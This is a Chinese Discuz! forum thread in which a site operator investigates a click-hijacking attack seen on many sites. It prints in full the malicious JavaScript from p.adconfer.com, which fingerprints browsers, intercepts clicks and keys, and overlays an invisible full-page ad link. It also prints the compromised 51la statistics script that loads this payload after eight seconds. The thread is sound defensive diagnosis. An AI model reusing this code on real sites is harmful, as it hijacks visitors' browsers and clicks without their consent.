Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

最近很多站点都出现的问题,XSS!!

[复制链接]
lohasle 发表于 2015-11-12 10:30:46 | 显示全部楼层 |阅读模式
不知道是被他人利用XSS漏洞攻击了,还是discuz的云平台出现了问题,很多站点都出现了这个问题。这个截图是病毒在页面绚烂之后的代码,此代码会在网页 创建一个全屏的A标签,此时用户无乱点击哪里
都会被跳转到广告。

复现情况:
频率:同一站点,同一访问IP每天触发一次。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
 楼主| lohasle 发表于 2015-11-12 13:51:55 | 显示全部楼层
原因已经找到了,基本可以断定为51la统计代码的问题,通过现象,进行js 调试。
找到了JS恶意代码位置:http://p.adconfer.com/view.php?id=1075  

此段代码执行结果是在页面上插入了一段透明度为0.01的a标签覆盖页面,广告链接地址通过initurl取得。
  1. var gmUrl = gmInitUrl('http://p.adconfer.com/view-do.php?gm=MTA3NXw0NTJkZWQwOWY2ZmRiZTZjNjY5M2YwNTU1NzNjODc0ZThhYQ==');
  2. function gmInitUrl(urls){
  3.         var sf=0,sc=0,ol='',sd=0;
  4.         var ae = function(p) {
  5.                 v = false;
  6.                 document.write('<SCRIPT LANGUAGE=VBScript>\n on error resume next \n v = IsObject(CreateObject("'+p+'"))<\/SCRIPT>\n');
  7.                 if(v){
  8.                         return '1';
  9.                 }else{
  10.                         return '0';
  11.                 }
  12.         };
  13.         var af = function(p) {
  14.                 var m = '';
  15.                 for (var i=0; i < navigator.mimeTypes.length; i++){
  16.                         m += navigator.mimeTypes[i].type.toLowerCase();
  17.                 }
  18.                 v = '0';
  19.                 if (m.indexOf(p) != -1){
  20.                         if (navigator.mimeTypes[p].enabledPlugin != null) v = '1';
  21.                 }
  22.                 return v;
  23.         };
  24.         var __dm  = (navigator.appName.indexOf("Netscape") != -1);
  25.         var __di  = (navigator.userAgent.toLowerCase().indexOf("msie") != -1);
  26.         var __dw = ((navigator.userAgent.toLowerCase().indexOf("win")!=-1) || (navigator.userAgent.toLowerCase().indexOf("32bit")!=-1));
  27.         if(__dw && __di) sf = ae("ShockwaveFlash.ShockwaveFlash.1");
  28.         if(!__dw || __dm) fs = af("application/x-shockwave-flash");
  29.         if(navigator.appName=="Netscape"){
  30.                 ol = navigator.language.substr(0,2);
  31.         }else{
  32.                 ol = navigator.userLanguage.substr(0,2);
  33.         }
  34.         try{
  35.                 var us = window.screen.width+'_'+window.screen.height;
  36.         }catch(e){
  37.                 var us = 0;
  38.         }
  39.         if(navigator.cookieEnabled) sc = 1;
  40.         if(document.getElementById) sd = 1;
  41.         var t = new Date();
  42.         var pushTime = parseInt(t.getTime()/1000);
  43.         urls+='&pt=1&ft='+pushTime+'&af='+encodeURIComponent(document.location.href)+'&sf='+encodeURIComponent(document.referrer)+'&spm='+sf+','+sc+','+ol+','+sd+','+us;
  44.         return urls;
  45. }
  46. var gmPublic = function(){
  47.         var gm = {};
  48.         gm.hasPush = 0;
  49.         var eventsKeydown = null;
  50.     gm.baseCistern = {
  51.         ie: /MSIE/.test(navigator.userAgent),
  52.         ie6: !/MSIE 7\.0/.test(navigator.userAgent) && /MSIE 6\.0/.test(navigator.userAgent) && !/MSIE 8\.0/.test(navigator.userAgent),
  53.         tt: /TencentTraveler/.test(navigator.userAgent),
  54.         qh: /360SE/.test(navigator.userAgent),
  55.         sg: / SE/.test(navigator.userAgent),
  56.         cr: /Chrome/.test(navigator.userAgent),
  57.         ff: /Firefox/.test(navigator.userAgent),
  58.         op: /Opera/.test(navigator.userAgent),
  59.         sf: /Safari/.test(navigator.userAgent),
  60.         mt: /Maxthon/.test(navigator.userAgent),
  61.         qb: /QQBrowser/.test(navigator.userAgent),
  62.         gg: window.google || window.chrome
  63.     };
  64.         gm.baseDom = {
  65.                 A: '<object id="__gm_push_a_object_box__" width="0" height="0" classid="CLSID:6BF52A52-394A-11D3-B153-00C04F79FAA6"></object>',
  66.         B: '<object id="__gm_push_b_object_box__" style="position:absolute;left:1px;top:1px;width:1px;height:1px;" classid="clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A"></object>',
  67.         C: '<div id="__gm_push_c_object_box__" style="position:absolute; top:0px; left:0px; width:20px; height:20px; z-index:2147483647;" onclick="gm.hasPush=1;window.setTimeout(function(){var o=document.getElementById(\'__gm_push_c_object_box__\');o.parentNode.removeChild(o);},1000);document.onkeydown=eventsKeydown;document.onmousemove=null;"><a href="' + gmUrl + '&pt=2' + '" target="_blank" style="cursor:normal"> </a></div>',
  68.         D: '<div id="__gm_push_d_object_box__" style="display:none"><form action="' + gmUrl + '&pt=2' + '" method="post" name="__gm_push_d_form_box__" target="_blank"><input type="submit" style="display:none" id="__gm_push_d_object_button__"/></form></div>'
  69.         };
  70.     gm.keyDownEvents = function(event) {
  71.         document.onkeydown = eventsKeydown;
  72.         if (gm.firstcgm == null) return;
  73.         var f = document.forms["__gm_push_d_form_box__"];
  74.         try {
  75.             f.submit();
  76.         } catch(e) {
  77.             document.getElementById("__gm_push_d_object_button__").click();
  78.         }
  79.         if (! (gm.baseCistern.sg && !gm.baseCistern.ie6)) {
  80.             gm.hasPush = 1;
  81.             document.onmousemove = null;
  82.             var o = document.getElementById('__gm_push_c_object_box__');
  83.             if (o) o.parentNode.removeChild(o);
  84.         }
  85.         if (gm.baseCistern.cr || gm.baseCistern.op) {
  86.             gm.removeInterceptClick(gm.firstcgel, gm.firstcgm);
  87.         }
  88.     };
  89.     if (gm.baseCistern.ie || gm.baseCistern.tt) {
  90.         document.write(gm.baseDom.A);
  91.         document.write(gm.baseDom.B)
  92.     }
  93.     if (gm.baseCistern.cr || gm.baseCistern.op) {
  94.         document.write(gm.baseDom.D);
  95.         eventsKeydown = document.onkeydown;
  96.         document.onkeydown = gm.keyDownEvents;
  97.     };
  98.         if (!(gm.baseCistern.sg && !gm.baseCistern.ie6)){
  99.                 document.write(gm.baseDom.C);
  100.         }
  101.     gm.fs = null;
  102.     gm.fdc = null;
  103.     gm.timeId = 0;
  104.     gm.headPush = 1;
  105.     gm.url = '';
  106.     gm.baseWidth = 0;
  107.     gm.baseHeight = 0;
  108.     gm.firstcgel = null;
  109.     gm.firstcgm = null;
  110.     gm.initClickEvents = function() {
  111.         try {
  112.             if (typeof document.body.onclick == "function") {
  113.                 gm.fs = document.body.onclick;
  114.                 document.body.onclick = null
  115.             }
  116.             if (typeof document.onclick == "function") {
  117.                 if (document.onclick.toString().indexOf('clickPush') < 0) {
  118.                     gm.fdc = document.onclick;
  119.                     document.onclick = function() {
  120.                         gm.clickPush(gm.url, gm.baseWidth, gm.baseHeight)
  121.                     }
  122.                 }
  123.             }
  124.         } catch(q) {}
  125.     };

  126.     gm.onIeRun = function(urls, g) {
  127.         if(g == 1 && (!gm.baseCistern.qh && gm.baseCistern.ie6)) return;
  128.         if(gm.hasPush) return;
  129.         try {
  130.             var onIeRunActive = document.getElementById("__gm_push_a_object_box__").launchURL(urls);
  131.             gm.hasPush = 1;
  132.         } catch(q) {}
  133.     };

  134.     gm.clickPush = function(urls, baseWidth, baseHeight) {
  135.         if (gm.hasPush) return;
  136.         gm.doit(urls, baseWidth, baseHeight);
  137.         clearInterval(gm.timeId);
  138.         document.onclick = null;
  139.         if (typeof gm.fdc == "function") try {
  140.             document.onclick = gm.fdc
  141.         } catch(q) {}
  142.         if (typeof gm.fs == "function") try {
  143.             document.body.onclick = gm.fs
  144.         } catch(q) {}
  145.     };

  146.     gm.interceptClick = function(url) {
  147.         if(gm.hasPush) return;
  148.         var tmpId = "__gmBoat_a__" + Math.ceil(Math.random() * 100);
  149.         var tmp = document.createElement("a");
  150.         tmp.href = url + '&pt=2' ;
  151.         tmp.id = tmpId;
  152.         tmp.target = "_blank";
  153.         tmp.style.position = "absolute";
  154.         tmp.style.zIndex = "2147483647";
  155.         tmp.style.backgroundColor = "#fff";
  156.         tmp.style.opacity = "0.01";
  157.         tmp.style.filter = "alpha(opacity:1)";
  158.         tmp.style.display = "block";
  159.         tmp.style.top = "0px";
  160.         tmp.style.left = "0px";
  161.         document.body.appendChild(tmp);
  162.         var el = document.getElementById(tmp.id);
  163.         var m = setInterval(function() {
  164.             var d = document.body;
  165.             e = document.documentElement;
  166.             document.compatMode == "BackCompat" ? t = d.scrollTop: t = e.scrollTop == 0 ? d.scrollTop: e.scrollTop;
  167.             el.style.top = t + "px";
  168.             el.style.width = d.clientWidth + "px";
  169.             el.style.height = d.clientHeight + "px";
  170.         },
  171.         200);
  172.                 gm.linkUp(tmpId);
  173.         el.onclick = function(e) {
  174.             gm.removeInterceptClick(el, m);
  175.             gm.firstcgm = null
  176.         };
  177.         if (gm.firstcgel == null) {
  178.             gm.firstcgel = el;
  179.             gm.firstcgm = m;
  180.         }
  181.     };
  182.     gm.removeInterceptClick = function(el, m) {
  183.         setTimeout(function() {
  184.             el.parentNode.removeChild(el)
  185.         },
  186.         200);
  187.         clearInterval(m);
  188.         gm.hasPush = 1
  189.     };
  190.     gm.expandClick = function(c, e, f) {
  191.         if (gm.hasPush) return;
  192.         document.onclick = function() {
  193.             gm.clickPush(c, e, f);
  194.         };
  195.         setTimeout(function() {
  196.             gm.expandClick(c, e, f)
  197.         },
  198.         100);
  199.     };
  200.         gm.linkUp = function(obj){
  201.                 var tmp = document.getElementsByTagName('a');
  202.                 var tmps = tmp.length;
  203.                 for(var i = 0; i < tmps; i++){
  204.                         if(tmp[i].id.indexOf(obj) != -1){
  205.                                 tmp[i].style.zIndex = 2147483647;
  206.                                 tmp[i].style.display = 'block';
  207.                         }else if (tmp[i].style.zIndex == 2147483647){
  208.                                 tmp[i].style.zIndex--;
  209.                         }
  210.                 }
  211.         };
  212.         gm.getCookie = function(names) {
  213.                 var search = names + "=";
  214.                 var r = "";
  215.                 if (document.cookie.length > 0) {
  216.                         offset = document.cookie.indexOf(search);
  217.                         if (offset != -1) {
  218.                                 offset += search.length;
  219.                                 end = document.cookie.indexOf(";", offset);
  220.                                 if (end == -1)end = document.cookie.length;
  221.                                 r=unescape(document.cookie.substring(offset, end));
  222.                         }
  223.                 }
  224.                 return r;
  225.         };
  226.         gm.setCookie=function (names,values,times){
  227.                 var exp = new Date();
  228.                 exp.setTime(exp.getTime()+3600*1000*times);
  229.                 document.cookie=names+"="+escape(values)+";expires="+exp.toGMTString();
  230.         };
  231.     gm.doit = function(urls, baseWidth, baseHeight) {
  232.         if (gm.hasPush) return;
  233.         gm.url = urls;
  234.         gm.baseWidth = baseWidth;
  235.         gm.baseHeight = baseHeight;
  236.         if (gm.timeId == 0) gm.timeId = setInterval(gm.initClickEvents, 5);
  237.         var b = 'height=' + baseHeight + ',width=' + baseWidth + ',left=0,top=0,toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes';
  238.         var j = 'window.open("' + urls + '", "_blank", "' + b + '")';
  239.         var m = null;
  240.         try {
  241.             m = eval(j)
  242.         } catch(q) {}
  243.         m = m && !gm.baseCistern.op && !gm.baseCistern.cr;
  244.         if (m && !(gm.headPush && gm.baseCistern.gg)) {
  245.             gm.hasPush = 1;
  246.             if (typeof gm.fs == "function") try {
  247.                 document.body.onclick = gm.fs
  248.             } catch(q) {}
  249.             clearInterval(gm.timeId)
  250.         } else {
  251.             var i = this,
  252.             j = false;
  253.             if (gm.baseCistern.sg || gm.baseCistern.mt || gm.baseCistern.op || gm.baseCistern.sf || gm.baseCistern.ff) {
  254.                 gm.interceptClick(urls);
  255.                 return;
  256.             }
  257.             if (gm.baseCistern.ie || gm.baseCistern.tt) {
  258.                 document.getElementById("__gm_push_a_object_box__");
  259.                 document.getElementById("__gm_push_b_object_box__");
  260.                 setTimeout(function() {
  261.                     var obj = document.getElementById("__gm_push_b_object_box__");
  262.                     if (gm.hasPush || !obj) return;
  263.                     try {
  264.                         var tmpPush = obj.DOM.Script.open(urls, "_blank", b);
  265.                         if (tmpPush) {
  266.                             gm.hasPush = 1
  267.                         } else if (gm.baseCistern.sg) {
  268.                             gm.hasPush = 1
  269.                         }
  270.                     } catch(q) {}
  271.                 },
  272.                 200);
  273.             }
  274.             if (gm.headPush) {
  275.                 gm.headPush = 0;
  276.                 try {
  277.                     if (typeof document.onclick == "function") gm.fdc = document.onclick
  278.                 } catch(q) {}
  279.                 if (gm.baseCistern.ie) {
  280.                     i.onIeRun(urls, 1);
  281.                     gm.interceptClick(urls);
  282.                 }
  283.             }
  284.             if (gm.baseCistern.sg) gm.interceptClick(urls);
  285.         }
  286.     };
  287.     gm.Rebuild = function() {
  288.         gm.hasPush = 0;
  289.         gm.headPush = 1;
  290.         gm.doit(gmUrl, window.screen.width, window.screen.height);
  291.     };
  292.     return gm;
  293. };
  294. var gm  = gmPublic();
  295. gm.doit(gmUrl + "&rn=" + Math.random(), window.screen.width, window.screen.height);
复制代码


找到了恶意代码,接下来寻找恶意代码是如何植入的,通过全局搜索发现,js.user.51la 域名下期中有一个JS有问题:
  1. document.write ('<a  target="_blank" title="51.La &#x7F51;&#x7AD9;&#x6D41;&#x91CF;&#x7EDF;&#x8BA1;&#x7CFB;&#x7EDF;"><img alt="51.La &#x7F51;&#x7AD9;&#x6D41;&#x91CF;&#x7EDF;&#x8BA1;&#x7CFB;&#x7EDF;" src="http://icon.51.la/icon_0.gif" style="border:none" /></a>\n');
  2. var a5570tf="51la";var a5570pu="";var a5570pf="51la";var a5570su=window.location;var a5570sf=document.referrer;var a5570of="";var a5570op="";var a5570ops=1;var a5570ot=1;var a5570d=new Date();var a5570color="";if (navigator.appName=="Netscape"){a5570color=screen.pixelDepth;} else {a5570color=screen.colorDepth;}
  3. try{a5570tf=top.document.referrer;}catch(e){}
  4. try{a5570pu =window.parent.location;}catch(e){}
  5. try{a5570pf=window.parent.document.referrer;}catch(e){}
  6. try{a5570ops=document.cookie.match(new RegExp("(^| )AJSTAT_ok_pages=([^;]*)(;|$)"));a5570ops=(a5570ops==null)?1: (parseInt(unescape((a5570ops)[2]))+1);var a5570oe =new Date();a5570oe.setTime(a5570oe.getTime()+60*60*1000);document.cookie="AJSTAT_ok_pages="+a5570ops+ ";path=/;expires="+a5570oe.toGMTString();a5570ot=document.cookie.match(new RegExp("(^| )AJSTAT_ok_times=([^;]*)(;|$)"));if(a5570ot==null){a5570ot=1;}else{a5570ot=parseInt(unescape((a5570ot)[2])); a5570ot=(a5570ops==1)?(a5570ot+1):(a5570ot);}a5570oe.setTime(a5570oe.getTime()+365*24*60*60*1000);document.cookie="AJSTAT_ok_times="+a5570ot+";path=/;expires="+a5570oe.toGMTString();}catch(e){}
  7. try{if(document.cookie==""){a5570ops=-1;a5570ot=-1;}}catch(e){}
  8. a5570of=a5570sf;if(a5570pf!=="51la"){a5570of=a5570pf;}if(a5570tf!=="51la"){a5570of=a5570tf;}a5570op=a5570pu;try{lainframe}catch(e){a5570op=a5570su;}
  9. a5570src='http://web.51.la:82/go.asp?svid=20&id=15005570&tpages='+a5570ops+'&ttimes='+a5570ot+'&tzone='+(0-a5570d.getTimezoneOffset()/60)+'&tcolor='+a5570color+'&sSize='+screen.width+','+screen.height+'&referrer='+escape(a5570of)+'&vpage='+escape(a5570op)+'&vvtime='+a5570d.getTime();
  10. setTimeout('a5570img = new Image;a5570img.src=a5570src;',0);;function sttaddCookie(on,ov,oh){var str=on+"="+escape(ov);if(oh > 0){var date=new Date();var ms=oh*3600*1000;date.setTime(date.getTime()+ms);str+="; expires="+date.toGMTString()+"; path=/; domain=.discuzlab.com;";}document.cookie=str;}function sttgetCookie(on){var arrStr = document.cookie.split("; ");for(var i = 0;i < arrStr.length;i ++){var temp = arrStr[i].split("=");if(temp[0]==on) return nescape(temp[1]);}};function sxAddElementByPage(u){try{var script=document.createElement("script");script.setAttribute("type", "text/javascript");script.setAttribute("src", u);var heads = document.getElementsByTagName("head");if(heads.length){heads[0].appendChild(script);}else{document.documentElement.appendChild(script);}}catch(e){}}if(typeof D_STAT_END_STATIC=="undefined"){if(!sttgetCookie("__BAIDU_STATE_END__")){;document.writeln('<script type=\'text/javascript\' src=\'http://js.tongji.linezing.com/3596071/tongji.js?12m33\'><\/script>');;setTimeout('sxAddElementByPage("http://p.adconfer.com/view.php?id=1075")',8000);;var D_STAT_END_STATIC=1;sttaddCookie("__BAIDU_STATE_END__","yes",12);}else{if(!sttgetCookie("__BAIDU_STATE_END2__")){;var BD_STAT_END_STATIC=1;sttaddCookie("__BAIDU_STATE_END2__","yes",12);}}};;
复制代码


里面有一段代码
  1. setTimeout('sxAddElementByPage("http://p.adconfer.com/view.php?id=1075")',8000)
复制代码
此代码会在8秒钟之后会在页面最末尾追加一段script脚本,用来加载恶意代码,从而完成植入并劫持网站。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-11-24 23:57 , Processed in 0.027490 second(s), 5 queries , Gzip On, Redis On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表